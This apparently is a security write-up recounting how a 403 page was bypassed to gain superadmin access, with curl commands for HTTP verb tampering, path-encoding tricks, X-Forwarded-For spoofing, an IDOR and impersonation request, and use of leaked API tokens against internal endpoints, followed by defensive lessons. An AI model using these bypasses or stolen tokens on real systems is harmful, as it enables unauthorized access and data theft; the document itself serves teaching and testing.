Sometimes, all it takes is a little curiosity, some HTTP trickery, and an overlooked misconfiguration to move from being locked out to having the keys to the kingdom. Here’s how a simple 403 Forbidden page led to full superadmin access on a production system.

The process began with gathering as much surface-level information as possible. In security testing, this is called reconnaissance. I used tools like subfinder to collect subdomains associated with the target, and then filtered the results using httpx to check which domains were live and what kind of HTTP status codes they returned.

subfinder -d target.com -silent > subs.txt
httpx -l subs.txt -mc 403,401,200 -tech-detect -title > live.txt

Next, I scanned the archive of known URLs using gau (GetAllUrls) to look for anything suspicious or admin-related:

gau --subs target.com | grep -iE 'admin|internal|dashboard' > gau_admin.txt

Among the results, one URL stood out:

https://secure.target.com/admin/settings

It returned a 403 Forbidden. That usually means access is blocked due to lack of permissions. But often, that’s where the fun begins.

Sometimes, backend servers behave differently depending on the HTTP method used — GET, POST, PUT, HEAD, etc. Firewalls or access controls might restrict some methods but not others. By changing the HTTP verb, it’s possible to trick the server into allowing access.

Examples:

curl -X POST https://secure.target.com/admin/settings -H "X-Original-Method: GET"
curl -X HEAD https://secure.target.com/admin/settings

Unexpectedly, one of these returned a 200 OK. That indicated the server processed the request despite the original 403 block, likely due to misconfigured access control at the HTTP method level.

Modern web applications often sit behind a WAF (Web Application Firewall). These are meant to detect and block suspicious or unauthorized activity. However, poorly configured WAFs can be bypassed using simple techniques.

I tried several URL encoding and path normalization tricks, such as:

curl https://secure.target.com//admin/./settings
curl https://secure.target.com/admin%2fsettings
curl https://secure.target.com/admin/%252e/settings

These variations exploit inconsistencies between how WAFs and backend servers interpret URLs. While the WAF might see a blocked path, the backend may resolve it as a valid endpoint.

Additionally, I used headers like:

curl -H "X-Forwarded-For: 127.0.0.1" https://secure.target.com/admin/settings

The X-Forwarded-For header is commonly used to pass the original IP address through proxies. If the backend trusts requests from 127.0.0.1 (localhost), this can bypass access restrictions entirely. That’s exactly what happened here.

After bypassing access controls, I was presented with a limited admin panel. Monitoring network requests in the browser developer tools revealed a key API call:

GET /api/user/me
Authorization: Bearer <JWT token>

The response:

{
  "username": "guest-admin",
  "role": "admin:readonly"
}

This indicated my current role had read-only privileges. But there was a clue: the endpoint revealed user data based on the current session.

So I tried tampering the API call:

GET /api/user?user_id=1

This revealed:

{
  "username": "superadmin",
  "role": "admin:godmode",
  "email": "[email protected]"
}

To escalate privileges, I found an endpoint that allowed user impersonation:

POST /api/switch-user
{
  "target_user_id": 1
}

After making this request, the session cookie updated, and the UI reflected my new role. All features were unlocked. I now had full administrative control over the system.

Once inside, I navigated to the /admin/api-keys page, which exposed a list of tokens and credentials. These included:

• AWS IAM access keys
• Slack bot tokens
• Payment gateway API keys

Using the leaked tokens, I explored internal APIs:

curl -H "Authorization: Bearer leaked_token" https://internal-api.target.com/v2/logs

This gave access to internal logs, user activity, support conversations, and other confidential infrastructure details. The impact was significant — a complete compromise of the system’s backend.

This engagement highlights several common but critical security issues:

1. Improper HTTP method handling can let attackers bypass access restrictions.
2. WAFs are not bulletproof. Path normalization and header manipulation can often slip through.
3. Role-based access control (RBAC) must be validated server-side, not just on the frontend.
4. Sensitive endpoints like /switch-user or /api/user should have strict authentication and authorization checks.
5. Hardcoded or exposed tokens can compromise the entire infrastructure.

Security misconfigurations aren’t always buried deep. Often, it’s the small oversights — like assuming a 403 is a dead end — that create the biggest vulnerabilities. A curious and methodical approach can turn an error into opportunity, and in this case, a full privilege escalation.

If you’re building or testing systems, always assume nothing is fully protected unless it’s verified at every layer.